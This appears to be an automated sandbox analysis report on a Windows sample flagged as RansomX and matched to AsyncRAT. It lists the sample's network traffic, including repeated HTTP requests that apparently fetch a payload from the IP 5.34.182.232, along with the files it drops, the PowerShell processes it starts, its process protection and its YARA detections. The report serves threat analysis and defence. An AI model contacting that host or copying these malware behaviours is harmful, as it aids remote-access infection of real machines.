                    Source: unknownTCP traffic detected without corresponding DNS query: 5.34.182.232
                    Source: unknownTCP traffic detected without corresponding DNS query: 5.34.182.232
                    Source: unknownTCP traffic detected without corresponding DNS query: 5.34.182.232
                    Source: unknownTCP traffic detected without corresponding DNS query: 5.34.182.232
                    Source: unknownTCP traffic detected without corresponding DNS query: 5.34.182.232
                    Source: unknownTCP traffic detected without corresponding DNS query: 5.34.182.232
                    Source: global trafficHTTP traffic detected: GET /sm/Pxgimjrvqqb.wav HTTP/1.1Host: 5.34.182.232Connection: Keep-Alive
                    Source: global trafficHTTP traffic detected: GET /sm/Pxgimjrvqqb.wav HTTP/1.1Host: 5.34.182.232Connection: Keep-Alive
                    Source: global trafficHTTP traffic detected: GET /sm/Pxgimjrvqqb.wav HTTP/1.1Host: 5.34.182.232Connection: Keep-Alive
                    Source: SecuriteInfo.com.Win32.RansomX-gen.10689.14408.exe, 00000000.00000002.1991317996.00000000030F1000.00000004.00000800.00020000.00000000.sdmp, daqfbrlrs.exe, 0000000A.00000002.2466687008.0000000002ED1000.00000004.00000800.00020000.00000000.sdmp, daqfbrlrs.exe, 0000000D.00000002.2554540962.0000000003371000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://5.34.182.232
                    Source: daqfbrlrs.exe, 0000000A.00000002.2466687008.0000000002ED1000.00000004.00000800.00020000.00000000.sdmp, daqfbrlrs.exe, 0000000D.00000002.2554540962.0000000003371000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://5.34.182.232/sm/Pxgimjrvqqb.wav0I
                    Source: SecuriteInfo.com.Win32.RansomX-gen.10689.14408.exe, 00000000.00000002.1991317996.00000000030F1000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://5.34.182.232/sm/Pxgimjrvqqb.wav0I4
                    Source: SecuriteInfo.com.Win32.RansomX-gen.10689.14408.exe, XClient.exe.4.dr, daqfbrlrs.exe.0.drString found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedG4RSA4096SHA256TimeStampingCA.crt0
                    Source: SecuriteInfo.com.Win32.RansomX-gen.10689.14408.exe, XClient.exe.4.dr, daqfbrlrs.exe.0.drString found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedRootG4.crt0C
                    Source: SecuriteInfo.com.Win32.RansomX-gen.10689.14408.exe, XClient.exe.4.dr, daqfbrlrs.exe.0.drString found in binary or memory: http://crl.comodoca.com/AAACertificateServices.crl04
                    Source: SecuriteInfo.com.Win32.RansomX-gen.10689.14408.exe, XClient.exe.4.dr, daqfbrlrs.exe.0.drString found in binary or memory: http://crl.comodoca.com/AAACertificateServices.crl06
                    Source: powershell.exe, 00000008.00000002.2108660915.000000000790D000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://crl.mi
                    Source: powershell.exe, 0000000E.00000002.2263906463.0000000008482000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://crl.micro
                    Source: powershell.exe, 0000000B.00000002.2155638841.0000000003323000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://crl.micronq
                    Source: powershell.exe, 00000008.00000002.2113666085.00000000087F6000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://crl.microsoft
                    Source: powershell.exe, 0000000E.00000002.2263906463.0000000008482000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://crl.microsoftQ5;
                    Source: SecuriteInfo.com.Win32.RansomX-gen.10689.14408.exe, XClient.exe.4.dr, daqfbrlrs.exe.0.drString found in binary or memory: http://crl.sectigo.com/SectigoPublicCodeSigningCAR36.crl0y
                    Source: SecuriteInfo.com.Win32.RansomX-gen.10689.14408.exe, XClient.exe.4.dr, daqfbrlrs.exe.0.drString found in binary or memory: http://crl.sectigo.com/SectigoPublicCodeSigningRootR46.crl0
                    Source: SecuriteInfo.com.Win32.RansomX-gen.10689.14408.exe, XClient.exe.4.dr, daqfbrlrs.exe.0.drString found in binary or memory: http://crl3.digicert.com/DigiCertTrustedG4RSA4096SHA256TimeStampingCA.crl0
                    Source: SecuriteInfo.com.Win32.RansomX-gen.10689.14408.exe, XClient.exe.4.dr, daqfbrlrs.exe.0.drString found in binary or memory: http://crl3.digicert.com/DigiCertTrustedRootG4.crl0
                    Source: SecuriteInfo.com.Win32.RansomX-gen.10689.14408.exe, XClient.exe.4.dr, daqfbrlrs.exe.0.drString found in binary or memory: http://crt.sectigo.com/SectigoPublicCodeSigningCAR36.crt0#
                    Source: SecuriteInfo.com.Win32.RansomX-gen.10689.14408.exe, XClient.exe.4.dr, daqfbrlrs.exe.0.drString found in binary or memory: http://crt.sectigo.com/SectigoPublicCodeSigningRootR46.p7c0#
                    Source: powershell.exe, 00000005.00000002.2052979000.0000000005766000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.2099869250.0000000005EA6000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000B.00000002.2176960211.0000000005E75000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000E.00000002.2246643853.0000000005BC2000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://nuget.org/NuGet.exe
                    Source: SecuriteInfo.com.Win32.RansomX-gen.10689.14408.exe, XClient.exe.4.dr, daqfbrlrs.exe.0.drString found in binary or memory: http://ocsp.comodoca.com0
                    Source: SecuriteInfo.com.Win32.RansomX-gen.10689.14408.exe, XClient.exe.4.dr, daqfbrlrs.exe.0.drString found in binary or memory: http://ocsp.digicert.com0A
                    Source: SecuriteInfo.com.Win32.RansomX-gen.10689.14408.exe, XClient.exe.4.dr, daqfbrlrs.exe.0.drString found in binary or memory: http://ocsp.digicert.com0X
                    Source: SecuriteInfo.com.Win32.RansomX-gen.10689.14408.exe, XClient.exe.4.dr, daqfbrlrs.exe.0.drString found in binary or memory: http://ocsp.sectigo.com0
                    Source: powershell.exe, 0000000E.00000002.2217132744.0000000004CB6000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://pesterbdd.com/images/Pester.png
                    Source: powershell.exe, 00000005.00000002.2041601100.0000000004856000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.2083832437.0000000004F96000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000B.00000002.2157706414.0000000004F66000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000E.00000002.2217132744.0000000004CB6000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://schemas.xmlsoap.org/soap/encoding/
                    Source: SecuriteInfo.com.Win32.RansomX-gen.10689.14408.exe, 00000000.00000002.1991317996.00000000030F1000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.RansomX-gen.10689.14408.exe, 00000004.00000002.2896982875.0000000002EC1000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000005.00000002.2041601100.0000000004701000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.2083832437.0000000004E41000.00000004.00000800.00020000.00000000.sdmp, daqfbrlrs.exe, 0000000A.00000002.2466687008.0000000002ED1000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000B.00000002.2157706414.0000000004E11000.00000004.00000800.00020000.00000000.sdmp, daqfbrlrs.exe, 0000000D.00000002.2554540962.0000000003371000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000E.00000002.2217132744.0000000004B61000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
                    Source: powershell.exe, 00000005.00000002.2041601100.0000000004856000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.2083832437.0000000004F96000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000B.00000002.2157706414.0000000004F66000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000E.00000002.2217132744.0000000004CB6000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://schemas.xmlsoap.org/wsdl/
                    Source: powershell.exe, 0000000E.00000002.2217132744.0000000004CB6000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://www.apache.org/licenses/LICENSE-2.0.html
                    Source: powershell.exe, 00000005.00000002.2041601100.0000000004701000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.2083832437.0000000004E41000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000B.00000002.2157706414.0000000004E11000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000E.00000002.2217132744.0000000004B61000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://aka.ms/pscore6lB
                    Source: powershell.exe, 0000000E.00000002.2246643853.0000000005BC2000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://contoso.com/
                    Source: powershell.exe, 0000000E.00000002.2246643853.0000000005BC2000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://contoso.com/Icon
                    Source: powershell.exe, 0000000E.00000002.2246643853.0000000005BC2000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://contoso.com/License
                    Source: powershell.exe, 0000000E.00000002.2217132744.0000000004CB6000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://github.com/Pester/Pester
                    Source: SecuriteInfo.com.Win32.RansomX-gen.10689.14408.exe, 00000000.00000002.1991317996.000000000337B000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.RansomX-gen.10689.14408.exe, 00000000.00000002.2003229740.0000000006620000.00000004.08000000.00040000.00000000.sdmp, daqfbrlrs.exe, 0000000A.00000002.2466687008.0000000003199000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://github.com/mgravell/protobuf-net
                    Source: SecuriteInfo.com.Win32.RansomX-gen.10689.14408.exe, 00000000.00000002.1991317996.000000000337B000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.RansomX-gen.10689.14408.exe, 00000000.00000002.2003229740.0000000006620000.00000004.08000000.00040000.00000000.sdmp, daqfbrlrs.exe, 0000000A.00000002.2466687008.0000000003199000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://github.com/mgravell/protobuf-netJ
                    Source: SecuriteInfo.com.Win32.RansomX-gen.10689.14408.exe, 00000000.00000002.1991317996.000000000337B000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.RansomX-gen.10689.14408.exe, 00000000.00000002.2003229740.0000000006620000.00000004.08000000.00040000.00000000.sdmp, daqfbrlrs.exe, 0000000A.00000002.2466687008.0000000003199000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://github.com/mgravell/protobuf-neti
                    Source: powershell.exe, 00000005.00000002.2052979000.0000000005766000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.2099869250.0000000005EA6000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000B.00000002.2176960211.0000000005E75000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000E.00000002.2246643853.0000000005BC2000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://nuget.org/nuget.exe
                    Source: SecuriteInfo.com.Win32.RansomX-gen.10689.14408.exe, XClient.exe.4.dr, daqfbrlrs.exe.0.drString found in binary or memory: https://sectigo.com/CPS0
                    Source: SecuriteInfo.com.Win32.RansomX-gen.10689.14408.exe, 00000000.00000002.1991317996.000000000337B000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.RansomX-gen.10689.14408.exe, 00000000.00000002.2003229740.0000000006620000.00000004.08000000.00040000.00000000.sdmp, daqfbrlrs.exe, 0000000A.00000002.2466687008.0000000003199000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://stackoverflow.com/q/11564914/23354;
                    Source: daqfbrlrs.exe, 0000000A.00000002.2466687008.0000000003199000.00000004.00000800.00020000.00000000.sdmp, daqfbrlrs.exe, 0000000A.00000002.2466687008.0000000003027000.00000004.00000800.00020000.00000000.sdmp, daqfbrlrs.exe, 0000000D.00000002.2554540962.000000000366B000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://stackoverflow.com/q/14436606/23354
                    Source: SecuriteInfo.com.Win32.RansomX-gen.10689.14408.exe, 00000000.00000002.2003229740.0000000006620000.00000004.08000000.00040000.00000000.sdmpString found in binary or memory: https://stackoverflow.com/q/2152978/23354

                    Operating System Destruction

                    barindex
                    Protects its processes via BreakOnTermination flag
                    Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.RansomX-gen.10689.14408.exeProcess information set: 01 00 00 00 Jump to behavior

                    System Summary

                    barindex
                    Malicious sample detected (through community Yara rule)
                    Source: 0.2.SecuriteInfo.com.Win32.RansomX-gen.10689.14408.exe.3390260.2.unpack, type: UNPACKEDPEMatched rule: Detects AsyncRAT Author: ditekSHen
                    Source: 10.2.daqfbrlrs.exe.31693a8.2.raw.unpack, type: UNPACKEDPEMatched rule: Detects AsyncRAT Author: ditekSHen
                    Source: 13.2.daqfbrlrs.exe.36db45c.1.unpack, type: UNPACKEDPEMatched rule: Detects AsyncRAT Author: ditekSHen
                    Source: 13.2.daqfbrlrs.exe.36db45c.1.raw.unpack, type: UNPACKEDPEMatched rule: Detects AsyncRAT Author: ditekSHen
                    Source: 16.2.daqfbrlrs.exe.400000.0.unpack, type: UNPACKEDPEMatched rule: Detects AsyncRAT Author: ditekSHen
                    Source: 10.2.daqfbrlrs.exe.31693a8.2.unpack, type: UNPACKEDPEMatched rule: Detects AsyncRAT Author: ditekSHen
                    Source: 0.2.SecuriteInfo.com.Win32.RansomX-gen.10689.14408.exe.3390260.2.raw.unpack, type: UNPACKEDPEMatched rule: Detects AsyncRAT Author: ditekSHen
                    Source: 0000000A.00000002.2466687008.0000000003155000.00000004.00000800.00020000.00000000.sdmp, type: MEMORYMatched rule: Detects AsyncRAT Author: ditekSHen
                    Source: 00000000.00000002.1991317996.000000000337B000.00000004.00000800.00020000.00000000.sdmp, type: MEMORYMatched rule: Detects AsyncRAT Author: ditekSHen
                    Source: 0000000D.00000002.2554540962.0000000003656000.00000004.00000800.00020000.00000000.sdmp, type: MEMORYMatched rule: Detects AsyncRAT Author: ditekSHen
                    Source: 00000010.00000002.2496866109.0000000000402000.00000040.00000400.00020000.00000000.sdmp, type: MEMORYMatched rule: Detects AsyncRAT Author: ditekSHen
                    Source: 0000000D.00000002.2554540962.00000000036D9000.00000004.00000800.00020000.00000000.sdmp, type: MEMORYMatched rule: Detects AsyncRAT Author: ditekSHen
                    Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.RansomX-gen.10689.14408.exeCode function: 0_2_02ED2BC00_2_02ED2BC0
                    Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.RansomX-gen.10689.14408.exeCode function: 0_2_02ED2EF80_2_02ED2EF8
                    Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.RansomX-gen.10689.14408.exeCode function: 0_2_02ED12900_2_02ED1290
                    Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.RansomX-gen.10689.14408.exeCode function: 0_2_02ED19680_2_02ED1968
                    Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.RansomX-gen.10689.14408.exeCode function: 0_2_02ED22870_2_02ED2287
                    Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.RansomX-gen.10689.14408.exeCode function: 0_2_02ED23830_2_02ED2383
                    Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.RansomX-gen.10689.14408.exeCode function: 0_2_02ED2C710_2_02ED2C71
                    Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.RansomX-gen.10689.14408.exeCode function: 0_2_02ED1A160_2_02ED1A16
                    Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.RansomX-gen.10689.14408.exeCode function: 0_2_02ED19AC0_2_02ED19AC
                    Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.RansomX-gen.10689.14408.exeCode function: 0_2_02ED19580_2_02ED1958
                    Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.RansomX-gen.10689.14408.exeCode function: 0_2_02ED1EB10_2_02ED1EB1
                    Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.RansomX-gen.10689.14408.exeCode function: 0_2_0309C5D00_2_0309C5D0
                    Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.RansomX-gen.10689.14408.exeCode function: 0_2_030943080_2_03094308
                    Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.RansomX-gen.10689.14408.exeCode function: 0_2_030943180_2_03094318
                    Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.RansomX-gen.10689.14408.exeCode function: 0_2_030910480_2_03091048
                    Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.RansomX-gen.10689.14408.exeCode function: 0_2_030907300_2_03090730
                    Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.RansomX-gen.10689.14408.exeCode function: 0_2_0309E5000_2_0309E500
                    Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.RansomX-gen.10689.14408.exeCode function: 0_2_0309E5100_2_0309E510
                    Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.RansomX-gen.10689.14408.exeCode function: 0_2_0309054F0_2_0309054F
                    Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.RansomX-gen.10689.14408.exeCode function: 0_2_0309458B0_2_0309458B
                    Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.RansomX-gen.10689.14408.exeCode function: 0_2_0309C5C20_2_0309C5C2
                    Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.RansomX-gen.10689.14408.exeCode function: 0_2_0309049E0_2_0309049E
                    Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.RansomX-gen.10689.14408.exeCode function: 0_2_03090B950_2_03090B95
                    Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.RansomX-gen.10689.14408.exeCode function: 0_2_03090AE70_2_03090AE7
                    Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.RansomX-gen.10689.14408.exeCode function: 0_2_030909060_2_03090906
                    Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.RansomX-gen.10689.14408.exeCode function: 0_2_03090F030_2_03090F03
                    Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.RansomX-gen.10689.14408.exeCode function: 0_2_03090FB00_2_03090FB0
                    Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.RansomX-gen.10689.14408.exeCode function: 0_2_03090C460_2_03090C46
                    Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.RansomX-gen.10689.14408.exeCode function: 0_2_06F7DCD00_2_06F7DCD0
                    Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.RansomX-gen.10689.14408.exeCode function: 0_2_06F7F1380_2_06F7F138
                    Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.RansomX-gen.10689.14408.exeCode function: 0_2_06F600400_2_06F60040
                    Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.RansomX-gen.10689.14408.exeCode function: 0_2_06F600070_2_06F60007
                    Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.RansomX-gen.10689.14408.exeCode function: 4_2_02CB44F84_2_02CB44F8
                    Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.RansomX-gen.10689.14408.exeCode function: 4_2_02CB4AF04_2_02CB4AF0
                    Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.RansomX-gen.10689.14408.exeCode function: 4_2_02CB14704_2_02CB1470
                    Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.RansomX-gen.10689.14408.exeCode function: 4_2_02CB1A984_2_02CB1A98
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeCode function: 5_2_0464B4905_2_0464B490
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeCode function: 5_2_0464C6625_2_0464C662
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeCode function: 5_2_083C3A985_2_083C3A98
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeCode function: 8_2_0348B4A08_2_0348B4A0
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeCode function: 8_2_0348B4908_2_0348B490
                    Source: C:\Users\user\AppData\Roaming\daqfbrlrs.exeCode function: 10_2_02D72BC010_2_02D72BC0
                    Source: C:\Users\user\AppData\Roaming\daqfbrlrs.exeCode function: 10_2_02D72EF810_2_02D72EF8
                    Source: C:\Users\user\AppData\Roaming\daqfbrlrs.exeCode function: 10_2_02D7129010_2_02D71290
                    Source: C:\Users\user\AppData\Roaming\daqfbrlrs.exeCode function: 10_2_02D7196810_2_02D71968
                    Source: C:\Users\user\AppData\Roaming\daqfbrlrs.exeCode function: 10_2_02D7228710_2_02D72287
                    Source: C:\Users\user\AppData\Roaming\daqfbrlrs.exeCode function: 10_2_02D7238310_2_02D72383
                    Source: C:\Users\user\AppData\Roaming\daqfbrlrs.exeCode function: 10_2_02D72C7110_2_02D72C71
                    Source: C:\Users\user\AppData\Roaming\daqfbrlrs.exeCode function: 10_2_02D71A1610_2_02D71A16
                    Source: C:\Users\user\AppData\Roaming\daqfbrlrs.exeCode function: 10_2_02D719A210_2_02D719A2
                    Source: C:\Users\user\AppData\Roaming\daqfbrlrs.exeCode function: 10_2_02D7195C10_2_02D7195C
                    Source: C:\Users\user\AppData\Roaming\daqfbrlrs.exeCode function: 10_2_02D71EB110_2_02D71EB1
                    Source: C:\Users\user\AppData\Roaming\daqfbrlrs.exeCode function: 10_2_04F4B79010_2_04F4B790
                    Source: C:\Users\user\AppData\Roaming\daqfbrlrs.exeCode function: 10_2_04F4049E10_2_04F4049E
                    Source: C:\Users\user\AppData\Roaming\daqfbrlrs.exeCode function: 10_2_04F4458B10_2_04F4458B
                    Source: C:\Users\user\AppData\Roaming\daqfbrlrs.exeCode function: 10_2_04F4054F10_2_04F4054F
                    Source: C:\Users\user\AppData\Roaming\daqfbrlrs.exeCode function: 10_2_04F4D6D010_2_04F4D6D0
                    Source: C:\Users\user\AppData\Roaming\daqfbrlrs.exeCode function: 10_2_04F4D6BF10_2_04F4D6BF
                    Source: C:\Users\user\AppData\Roaming\daqfbrlrs.exeCode function: 10_2_04F4B78010_2_04F4B780
                    Source: C:\Users\user\AppData\Roaming\daqfbrlrs.exeCode function: 10_2_04F4073010_2_04F40730
                    Source: C:\Users\user\AppData\Roaming\daqfbrlrs.exeCode function: 10_2_04F4104810_2_04F41048
                    Source: C:\Users\user\AppData\Roaming\daqfbrlrs.exeCode function: 10_2_04F4431810_2_04F44318
                    Source: C:\Users\user\AppData\Roaming\daqfbrlrs.exeCode function: 10_2_04F4430810_2_04F44308
                    Source: C:\Users\user\AppData\Roaming\daqfbrlrs.exeCode function: 10_2_04F40C4610_2_04F40C46
                    Source: C:\Users\user\AppData\Roaming\daqfbrlrs.exeCode function: 10_2_04F40FB010_2_04F40FB0
                    Source: C:\Users\user\AppData\Roaming\daqfbrlrs.exeCode function: 10_2_04F40F0310_2_04F40F03
                    Source: C:\Users\user\AppData\Roaming\daqfbrlrs.exeCode function: 10_2_04F4090610_2_04F40906
                    Source: C:\Users\user\AppData\Roaming\daqfbrlrs.exeCode function: 10_2_04F40AE710_2_04F40AE7
                    Source: C:\Users\user\AppData\Roaming\daqfbrlrs.exeCode function: 10_2_04F40B9510_2_04F40B95
                    Source: C:\Users\user\AppData\Roaming\daqfbrlrs.exeCode function: 10_2_06D3F13810_2_06D3F138
                    Source: C:\Users\user\AppData\Roaming\daqfbrlrs.exeCode function: 10_2_06D2004010_2_06D20040
                    Source: C:\Users\user\AppData\Roaming\daqfbrlrs.exeCode function: 10_2_06D2000710_2_06D20007
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeCode function: 11_2_0349B49011_2_0349B490
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeCode function: 11_2_08CF3E9811_2_08CF3E98
                    Source: C:\Users\user\AppData\Roaming\daqfbrlrs.exeCode function: 13_2_0313B79013_2_0313B790
                    Source: C:\Users\user\AppData\Roaming\daqfbrlrs.exeCode function: 13_2_0313431813_2_03134318
                    Source: C:\Users\user\AppData\Roaming\daqfbrlrs.exeCode function: 13_2_0313430813_2_03134308
                    Source: C:\Users\user\AppData\Roaming\daqfbrlrs.exeCode function: 13_2_03130B9513_2_03130B95
                    Source: C:\Users\user\AppData\Roaming\daqfbrlrs.exeCode function: 13_2_03130AE713_2_03130AE7
                    Source: C:\Users\user\AppData\Roaming\daqfbrlrs.exeCode function: 13_2_0313090613_2_03130906
                    Source: C:\Users\user\AppData\Roaming\daqfbrlrs.exeCode function: 13_2_0313104813_2_03131048
                    Source: C:\Users\user\AppData\Roaming\daqfbrlrs.exeCode function: 13_2_03130F0313_2_03130F03
                    Source: C:\Users\user\AppData\Roaming\daqfbrlrs.exeCode function: 13_2_0313073013_2_03130730
                    Source: C:\Users\user\AppData\Roaming\daqfbrlrs.exeCode function: 13_2_0313B78013_2_0313B780
                    Source: C:\Users\user\AppData\Roaming\daqfbrlrs.exeCode function: 13_2_03130FB013_2_03130FB0
                    Source: C:\Users\user\AppData\Roaming\daqfbrlrs.exeCode function: 13_2_0313D6BF13_2_0313D6BF
                    Source: C:\Users\user\AppData\Roaming\daqfbrlrs.exeCode function: 13_2_0313D6D013_2_0313D6D0
                    Source: C:\Users\user\AppData\Roaming\daqfbrlrs.exeCode function: 13_2_0313054F13_2_0313054F
                    Source: C:\Users\user\AppData\Roaming\daqfbrlrs.exeCode function: 13_2_0313458B13_2_0313458B
                    Source: C:\Users\user\AppData\Roaming\daqfbrlrs.exeCode function: 13_2_03130C4613_2_03130C46
                    Source: C:\Users\user\AppData\Roaming\daqfbrlrs.exeCode function: 13_2_0313049E13_2_0313049E
                    Source: C:\Users\user\AppData\Roaming\daqfbrlrs.exeCode function: 13_2_031F2BC013_2_031F2BC0
                    Source: C:\Users\user\AppData\Roaming\daqfbrlrs.exeCode function: 13_2_031F2EF813_2_031F2EF8
                    Source: C:\Users\user\AppData\Roaming\daqfbrlrs.exeCode function: 13_2_031F129013_2_031F1290
                    Source: C:\Users\user\AppData\Roaming\daqfbrlrs.exeCode function: 13_2_031F196813_2_031F1968
                    Source: C:\Users\user\AppData\Roaming\daqfbrlrs.exeCode function: 13_2_031F238313_2_031F2383
                    Source: C:\Users\user\AppData\Roaming\daqfbrlrs.exeCode function: 13_2_031F228713_2_031F2287
                    Source: C:\Users\user\AppData\Roaming\daqfbrlrs.exeCode function: 13_2_031F2C7113_2_031F2C71
                    Source: C:\Users\user\AppData\Roaming\daqfbrlrs.exeCode function: 13_2_031F1A1613_2_031F1A16
                    Source: C:\Users\user\AppData\Roaming\daqfbrlrs.exeCode function: 13_2_031F195F13_2_031F195F
                    Source: C:\Users\user\AppData\Roaming\daqfbrlrs.exeCode function: 13_2_031F19A213_2_031F19A2
                    Source: C:\Users\user\AppData\Roaming\daqfbrlrs.exeCode function: 13_2_031F1EB113_2_031F1EB1
                    Source: C:\Users\user\AppData\Roaming\daqfbrlrs.exeCode function: 13_2_071FDCD013_2_071FDCD0
                    Source: C:\Users\user\AppData\Roaming\daqfbrlrs.exeCode function: 13_2_071FF13813_2_071FF138
                    Source: C:\Users\user\AppData\Roaming\daqfbrlrs.exeCode function: 13_2_071E000613_2_071E0006
                    Source: C:\Users\user\AppData\Roaming\daqfbrlrs.exeCode function: 13_2_071E004013_2_071E0040
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeCode function: 14_2_0310B49014_2_0310B490
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeCode function: 14_2_0310B47014_2_0310B470
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeCode function: 14_2_08943A9814_2_08943A98
                    Source: C:\Users\user\AppData\Roaming\daqfbrlrs.exeCode function: 16_2_02C31AA316_2_02C31AA3
                    Source: C:\Users\user\AppData\Roaming\daqfbrlrs.exeCode function: 18_2_00B2147018_2_00B21470
                    Source: C:\Users\user\AppData\Roaming\daqfbrlrs.exeCode function: 18_2_00B21A9918_2_00B21A99
                    Source: SecuriteInfo.com.Win32.RansomX-gen.10689.14408.exeStatic PE information: invalid certificate
                    Source: SecuriteInfo.com.Win32.RansomX-gen.10689.14408.exe, 00000000.00000002.1992545692.00000000044D9000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: OriginalFilenameJxlpzksea.dll" vs SecuriteInfo.com.Win32.RansomX-gen.10689.14408.exe
                    Source: SecuriteInfo.com.Win32.RansomX-gen.10689.14408.exe, 00000000.00000002.1999338129.0000000005F80000.00000004.08000000.00040000.00000000.sdmpBinary or memory string: OriginalFilenameJxlpzksea.dll" vs SecuriteInfo.com.Win32.RansomX-gen.10689.14408.exe
                    Source: SecuriteInfo.com.Win32.RansomX-gen.10689.14408.exe, 00000000.00000002.1992545692.0000000004BD0000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: OriginalFilenameJxlpzksea.dll" vs SecuriteInfo.com.Win32.RansomX-gen.10689.14408.exe
                    Source: SecuriteInfo.com.Win32.RansomX-gen.10689.14408.exe, 00000000.00000002.1991317996.0000000003658000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: OriginalFilenameclrjit.dllT vs SecuriteInfo.com.Win32.RansomX-gen.10689.14408.exe
                    Source: SecuriteInfo.com.Win32.RansomX-gen.10689.14408.exe, 00000000.00000002.1991317996.0000000003658000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: OriginalFilename vs SecuriteInfo.com.Win32.RansomX-gen.10689.14408.exe
